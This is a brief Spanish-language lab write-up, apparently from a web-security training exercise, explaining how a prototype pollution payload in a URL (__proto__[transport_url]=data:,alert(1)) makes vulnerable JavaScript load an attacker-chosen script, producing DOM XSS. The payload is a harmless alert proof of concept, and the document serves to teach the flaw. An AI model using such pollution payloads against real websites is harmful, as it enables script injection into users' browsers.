
LAB



c
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
window.addEventListener("load", searchLogger);js
let config = {params: deparam(new URL(location).searchParams.toString())};config se crea solo con params. No tiene transport_url definido para nada.
Entonces cuando el código hace:
js
if(config.transport_url) {transport_url no existe en config como propiedad propia — JS sube al prototipo a buscarlo.
El ataque
Con esta URL:
js
/?__proto__[transport_url]=data:,alert(1)deparam() contamina:
js
Object.prototype.transport_url = "data:,alert(1)"Ahora cuando el código lee config.transport_url:
js
config.transport_url → no existe en config
→ sube a Object.prototype
→ encuentra "data:,alert(1)"Y ejecuta:
js
script.src = "data:,alert(1)" // → XSS